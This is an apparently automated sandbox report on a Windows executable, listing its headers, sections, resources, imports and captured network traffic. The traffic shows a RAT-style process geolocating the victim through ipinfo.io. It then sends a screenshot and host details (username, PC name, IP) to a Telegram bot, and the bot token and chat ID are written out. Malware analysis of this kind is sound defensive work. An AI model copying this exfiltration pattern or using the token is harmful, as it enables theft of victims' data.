IMAGE_DIRECTORY_ENTRY_BASERELOC	0x75000	0x23dc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3c1b0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x366a8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x34000	0x278	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3d85c	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x32dcc	0x32e00	bf3082787caa3b02fd9d989022806d04	False	0.592286355958231	data	6.705330880207017	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x34000	0xb1d0	0xb200	ba53cf76fc539872e6fb32f5b59318a2	False	0.46025719803370785	data	5.269843738840559	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x40000	0x24750	0x1200	63d51bc646ae841bb4737f86d3d78592	False	0.4058159722222222	data	4.083590987791496	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x65000	0x1a4	0x200	deb77807258e64170eadd0d48c2f3f11	False	0.46484375	data	3.5190901598372837	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x66000	0xeb98	0xec00	46c8d29e2dbb6ee93fcbcfa5583fecc7	False	0.8745199947033898	data	7.693202276478399	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x75000	0x23dc	0x2400	e49afaf69d5cac6d9ffa2d43bc30363a	False	0.7861328125	data	6.67388754981222	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
PNG	0x66524	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	1.0027729636048528
PNG	0x6706c	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	0.9363390441839495
RT_ICON	0x68618	0xa1ab	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9967622683451325
RT_DIALOG	0x727c4	0x2ba	data	0.5286532951289399
RT_DIALOG	0x72a80	0x13a	data	0.6560509554140127
RT_DIALOG	0x72bbc	0xf2	data	0.71900826446281
RT_DIALOG	0x72cb0	0x14a	data	0.6
RT_DIALOG	0x72dfc	0x314	data	0.47588832487309646
RT_DIALOG	0x73110	0x24a	data	0.6279863481228669
RT_STRING	0x7335c	0x1fc	data	0.421259842519685
RT_STRING	0x73558	0x246	data	0.41924398625429554
RT_STRING	0x737a0	0x1a6	data	0.514218009478673
RT_STRING	0x73948	0xdc	data	0.65
RT_STRING	0x73a24	0x470	data	0.3873239436619718
RT_STRING	0x73e94	0x164	data	0.5056179775280899
RT_STRING	0x73ff8	0x110	data	0.5772058823529411
RT_STRING	0x74108	0x158	data	0.4563953488372093
RT_STRING	0x74260	0xe8	data	0.5948275862068966
RT_STRING	0x74348	0xe6	data	0.5695652173913044
RT_GROUP_ICON	0x74430	0x14	data	1.1
RT_MANIFEST	0x74444	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	0.3957333333333333

Imports

DLL	Import
KERNEL32.dll	GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, GetCurrentProcessId, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, InterlockedDecrement, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetTimeFormatW, GetDateFormatW, LocalFree, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetNumberFormatW, DecodePointer, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapReAlloc, HeapAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipAlloc, GdipDisposeImage, GdipCloneImage, GdipCreateBitmapFromStream, GdipCreateBitmapFromStreamICM, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/29/24-15:27:21.388590	TCP	2048095	ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)	49739	80	192.168.2.4	104.21.79.128

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 29, 2024 15:26:58.496057987 CET	49730	443	192.168.2.4	34.117.186.192
Mar 29, 2024 15:26:58.496095896 CET	443	49730	34.117.186.192	192.168.2.4
Mar 29, 2024 15:26:58.496179104 CET	49730	443	192.168.2.4	34.117.186.192
Mar 29, 2024 15:26:58.507086039 CET	49730	443	192.168.2.4	34.117.186.192
Mar 29, 2024 15:26:58.507098913 CET	443	49730	34.117.186.192	192.168.2.4
Mar 29, 2024 15:26:58.790369987 CET	443	49730	34.117.186.192	192.168.2.4
Mar 29, 2024 15:26:58.790456057 CET	49730	443	192.168.2.4	34.117.186.192
Mar 29, 2024 15:26:58.792963982 CET	49730	443	192.168.2.4	34.117.186.192
Mar 29, 2024 15:26:58.792972088 CET	443	49730	34.117.186.192	192.168.2.4
Mar 29, 2024 15:26:58.793252945 CET	443	49730	34.117.186.192	192.168.2.4
Mar 29, 2024 15:26:58.836966038 CET	49730	443	192.168.2.4	34.117.186.192
Mar 29, 2024 15:26:58.847047091 CET	49730	443	192.168.2.4	34.117.186.192
Mar 29, 2024 15:26:58.892231941 CET	443	49730	34.117.186.192	192.168.2.4
Mar 29, 2024 15:26:59.071341038 CET	443	49730	34.117.186.192	192.168.2.4
Mar 29, 2024 15:26:59.071409941 CET	443	49730	34.117.186.192	192.168.2.4
Mar 29, 2024 15:26:59.071456909 CET	49730	443	192.168.2.4	34.117.186.192
Mar 29, 2024 15:26:59.076997042 CET	49730	443	192.168.2.4	34.117.186.192
Mar 29, 2024 15:26:59.079942942 CET	49731	443	192.168.2.4	34.117.186.192
Mar 29, 2024 15:26:59.079974890 CET	443	49731	34.117.186.192	192.168.2.4
Mar 29, 2024 15:26:59.080061913 CET	49731	443	192.168.2.4	34.117.186.192
Mar 29, 2024 15:26:59.080420017 CET	49731	443	192.168.2.4	34.117.186.192
Mar 29, 2024 15:26:59.080440044 CET	443	49731	34.117.186.192	192.168.2.4
Mar 29, 2024 15:26:59.351304054 CET	443	49731	34.117.186.192	192.168.2.4
Mar 29, 2024 15:26:59.354690075 CET	49731	443	192.168.2.4	34.117.186.192
Mar 29, 2024 15:26:59.354716063 CET	443	49731	34.117.186.192	192.168.2.4
Mar 29, 2024 15:26:59.640638113 CET	443	49731	34.117.186.192	192.168.2.4
Mar 29, 2024 15:26:59.640714884 CET	443	49731	34.117.186.192	192.168.2.4
Mar 29, 2024 15:26:59.641201019 CET	49731	443	192.168.2.4	34.117.186.192
Mar 29, 2024 15:26:59.653497934 CET	49731	443	192.168.2.4	34.117.186.192
Mar 29, 2024 15:26:59.888309002 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:26:59.888345003 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:26:59.888418913 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:26:59.890372038 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:26:59.890382051 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.272711992 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.272861004 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.276530981 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.276540041 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.276912928 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.278119087 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.320235968 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.660253048 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.660278082 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.661943913 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.661950111 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.662059069 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.662062883 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.662188053 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.662192106 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.663580894 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.663593054 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.663738966 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.663746119 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.663781881 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.663788080 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.663820982 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.663826942 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664031029 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664037943 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664066076 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664072990 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664115906 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664123058 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664154053 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664159060 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664200068 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664206028 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664244890 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664252996 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664273977 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664278030 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664432049 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664438009 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664452076 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664469957 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664501905 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664508104 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664589882 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664594889 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664616108 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664624929 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664707899 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664715052 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664752007 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664758921 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664781094 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664787054 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664882898 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664890051 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664923906 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664935112 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.664964914 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.664971113 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.665282011 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.665287971 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.665410995 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.665417910 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.665524960 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:00.665548086 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.819519043 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:00.868206024 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:01.770612001 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:01.770699978 CET	443	49732	149.154.167.220	192.168.2.4
Mar 29, 2024 15:27:01.770737886 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:01.771286011 CET	49732	443	192.168.2.4	149.154.167.220
Mar 29, 2024 15:27:01.774596930 CET	49732	443	192.168.2.4	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 29, 2024 15:26:58.392152071 CET	55851	53	192.168.2.4	1.1.1.1
Mar 29, 2024 15:26:58.489429951 CET	53	55851	1.1.1.1	192.168.2.4
Mar 29, 2024 15:26:59.788223028 CET	55282	53	192.168.2.4	1.1.1.1
Mar 29, 2024 15:26:59.885385036 CET	53	55282	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 29, 2024 15:26:58.392152071 CET	192.168.2.4	1.1.1.1	0x8ee3	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Mar 29, 2024 15:26:59.788223028 CET	192.168.2.4	1.1.1.1	0x62c2	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 29, 2024 15:26:58.489429951 CET	1.1.1.1	192.168.2.4	0x8ee3	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
Mar 29, 2024 15:26:59.885385036 CET	1.1.1.1	192.168.2.4	0x62c2	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ipinfo.io

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	34.117.186.192	443	7784	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-29 14:26:58 UTC	61	OUT	GET /ip HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
2024-03-29 14:26:59 UTC	361	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 29 Mar 2024 14:26:58 GMT content-type: text/plain; charset=utf-8 Content-Length: 13 access-control-allow-origin: * x-envoy-upstream-service-time: 1 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-29 14:26:59 UTC	13	IN	Data Raw: 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 Data Ascii: 102.165.48.43

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	34.117.186.192	443	7784	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-29 14:26:59 UTC	42	OUT	GET /country HTTP/1.1 Host: ipinfo.io
2024-03-29 14:26:59 UTC	504	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 29 Mar 2024 14:26:59 GMT content-type: text/html; charset=utf-8 Content-Length: 3 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 3 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-29 14:26:59 UTC	3	IN	Data Raw: 55 53 0a Data Ascii: US

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	149.154.167.220	443	7784	C:\Users\user\AppData\Roaming\msBroker\SurrogatewebSession.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-29 14:27:00 UTC	255	OUT	POST /bot7194985122:AAGPJPfG5AyMtXi9BvuYYVgyMXP_Fe7EV5o/sendPhoto HTTP/1.1 Content-Type: multipart/form-data; boundary="4e636f77-7e21-4561-94a7-274b0110f910" Host: api.telegram.org Content-Length: 98588 Expect: 100-continue Connection: Keep-Alive
2024-03-29 14:27:00 UTC	40	OUT	Data Raw: 2d 2d 34 65 36 33 36 66 37 37 2d 37 65 32 31 2d 34 35 36 31 2d 39 34 61 37 2d 32 37 34 62 30 31 31 30 66 39 31 30 0d 0a Data Ascii: --4e636f77-7e21-4561-94a7-274b0110f910
2024-03-29 14:27:00 UTC	89	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 63 68 61 74 5f 69 64 0d 0a 0d 0a Data Ascii: Content-Type: text/plain; charset=utf-8Content-Disposition: form-data; name=chat_id
2024-03-29 14:27:00 UTC	10	OUT	Data Raw: 36 37 37 30 39 36 36 38 34 37 Data Ascii: 6770966847
2024-03-29 14:27:00 UTC	131	OUT	Data Raw: 0d 0a 2d 2d 34 65 36 33 36 66 37 37 2d 37 65 32 31 2d 34 35 36 31 2d 39 34 61 37 2d 32 37 34 62 30 31 31 30 66 39 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 63 61 70 74 69 6f 6e 0d 0a 0d 0a Data Ascii: --4e636f77-7e21-4561-94a7-274b0110f910Content-Type: text/plain; charset=utf-8Content-Disposition: form-data; name=caption
2024-03-29 14:27:00 UTC	159	OUT	Data Raw: d0 98 d0 9a d0 a1 d0 92 d0 9e d0 a0 d0 9c 20 d0 a1 d0 9a d0 90 d0 a7 d0 90 d0 9b 20 d0 98 d0 94 d0 98 d0 9e d0 a2 20 21 0a 49 44 3a 20 61 30 31 33 38 33 36 32 35 63 62 34 34 62 65 35 30 33 64 32 38 31 65 63 34 30 35 32 33 62 65 36 64 63 30 62 38 30 63 66 0a 43 6f 6d 6d 65 6e 74 3a 20 78 77 6f 72 6d 0a 55 73 65 72 6e 61 6d 65 3a 20 6a 6f 6e 65 73 0a 50 43 20 4e 61 6d 65 3a 20 36 34 32 32 39 34 0a 49 50 3a 20 31 30 32 2e 31 36 35 2e 34 38 2e 34 33 0a 47 45 4f 3a 20 55 53 0a Data Ascii: !ID: a01383625cb44be503d281ec40523be6dc0b80cfComment: xwormUsername: userPC Name: 642294IP: 102.165.48.43GEO: US
2024-03-29 14:27:00 UTC	146	OUT	Data Raw: 0d 0a 2d 2d 34 65 36 33 36 66 37 37 2d 37 65 32 31 2d 34 35 36 31 2d 39 34 61 37 2d 32 37 34 62 30 31 31 30 66 39 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 70 68 6f 74 6f 3b 20 66 69 6c 65 6e 61 6d 65 3d 73 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 73 63 72 65 65 6e 73 68 6f 74 2e 70 6e 67 0d 0a 0d 0a Data Ascii: --4e636f77-7e21-4561-94a7-274b0110f910Content-Disposition: form-data; name=photo; filename=screenshot.png; filename*=utf-8''screenshot.png
2024-03-29 14:27:00 UTC	4096	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1AQa"q2
2024-03-29 14:27:00 UTC	4096	OUT	Data Raw: 0d 1d e8 19 ab e1 9f f9 19 f4 cf fa f8 4f e7 5a ff 00 13 f5 0b 9b 7d 67 ec 51 49 b6 1b 9b 48 8c a0 75 6d af 2e 07 d3 e6 fd 05 63 f8 6b fe 46 6d 37 fe be 53 f9 d7 a4 f8 83 c1 5a 6f 88 ef e3 bc bc 9e ed 24 48 84 40 42 ea 06 01 27 ba 9e 7e 63 5e 2e 2e b5 3a 58 d8 ce a6 dc bf ab 3e 8b 2e a5 52 b6 02 50 a7 bf 37 e8 8f 0c 04 ab 06 52 41 07 20 8e d5 be 9e 25 b8 83 57 b4 d7 21 6f f4 e5 50 97 2b d0 4d 80 06 4f fb c3 af b8 cf 71 5d ff 00 fc 2a bd 0f fe 7e f5 1f fb f8 9f fc 45 27 fc 2a bd 0f fe 7e f5 1f fb f8 9f fc 45 69 3c cb 09 3f 8a ff 00 70 e1 96 e2 e1 f0 db ef 20 f1 1f fc 93 2d 17 fd cb 6f fd 14 6b cf 6b d3 7c 73 6a 96 1e 0c b2 b3 88 b1 8e 09 62 89 4b 1e 48 54 60 33 ef c5 79 9d 56 52 d4 a9 4d af e6 7f 92 39 73 b4 e3 5a 09 ff 00 2a fc d8 94 50 68 af 50 f1 c2 b2 Data Ascii: OZ}gQIHum.ckFm7SZo$H@B'~c^..:X>.RP7RA %W!oP+MOq]~E'~Ei<?p -okk\|sjbKHT`3yVRM9sZ*PhP
2024-03-29 14:27:00 UTC	4096	OUT	Data Raw: 4e 30 c8 a4 7a 62 9b ca e3 29 73 49 dd da df d7 de 4c 73 99 c2 2a 30 8d 95 ee f7 29 31 b4 91 f5 03 a7 43 e5 59 96 22 15 0a 40 c6 39 20 1e 40 27 24 03 c8 18 aa 93 49 67 0e a3 0e af 0d ec 53 dc c7 a5 c7 69 1d a4 71 48 24 13 79 02 23 b8 b2 04 da 0e 4e 43 12 70 06 39 c8 d8 f2 80 18 5c 63 d0 53 3c 84 0d 9f 29 41 f5 c5 55 6c bd 55 a7 18 37 f0 ff 00 c3 19 e1 f3 49 52 a9 3a 8a 3f 17 fc 39 81 a3 cb 15 8d ff 00 86 0c b3 c7 19 b0 d3 ef 60 9d e5 81 9d 23 92 43 3e cd cb b4 ee 07 7a e7 00 8e 79 ab b6 73 e9 df da 36 b7 17 57 fa 7b 5e 59 d8 95 12 8b 59 a3 b4 9a 7d e4 c6 16 34 8b e5 45 07 24 04 50 cc 3a 1c 96 ad 03 14 67 aa 29 fc 28 f2 62 c6 3c b4 c7 fb a2 b9 ff 00 b2 23 cd cc a4 d6 ff 00 8d ff 00 cc ec fe dd 9b 8d a5 04 ff 00 a5 fe 46 2b d9 40 96 57 76 33 ea b6 ef 2d d4 Data Ascii: N0zb)sILs*0)1CY"@9 @'$IgSiqH$y#NCp9\cS<)AUlU7IR:?9`#C>zys6W{^YY}4E$P:g)(b<#F+@Wv3-
2024-03-29 14:27:00 UTC	4096	OUT	Data Raw: 3e b6 ff 00 34 79 98 ca 52 8e 0b 11 46 ac 7e c5 ec fb ab 34 fd 7c fb 3f 33 9a a3 8a 5a 4e 2b ed ee 7e 60 14 51 45 00 6a f8 67 fe 46 7d 37 fe be 17 f9 d7 b5 92 00 24 90 00 e4 93 5e 29 e1 af f9 19 b4 df fa f8 4f e7 5d ce ba d3 f8 8f c4 ab e1 b8 a6 78 6c 60 88 4f 7e c8 70 5f 3f 75 3f 91 fc 7d ab e7 b3 4a 7e d3 12 93 76 4a 37 7e 97 67 d5 e4 95 3d 9e 11 b4 ae dc ac bd 6c 8d 0b 9f 1c f8 6a d6 66 8a 4d 56 32 c3 af 96 8f 20 fc d4 11 53 2e a9 6b ae 41 14 da 35 cd bd d3 43 2e f6 43 21 42 01 56 5e 78 24 75 f4 ac eb bd 6f c2 9e 13 91 74 d3 14 51 3a 80 5a 38 61 dc 47 a1 63 eb f5 e6 aa ea 97 72 5b 5b 8d 43 c2 5a 45 ac 86 ea 06 96 4b f5 45 0a 15 79 2b 8e 0e e3 e9 fc f1 c7 17 d5 e3 24 b9 62 d5 f6 6e d6 fc bf 56 7a 9f 58 9c 5b e6 92 76 dd 2b df f3 fd 11 9f e3 5d 36 55 b6 Data Ascii: >4yRF~4\|?3ZN+~`QEjgF}7$^)O]xl`O~p_?u?}J~vJ7~g=ljfMV2 S.kA5C.C!BV^x$uotQ:Z8aGcr[[CZEKEy+$bnVzX[v+]6U
2024-03-29 14:27:00 UTC	25	IN	HTTP/1.1 100 Continue
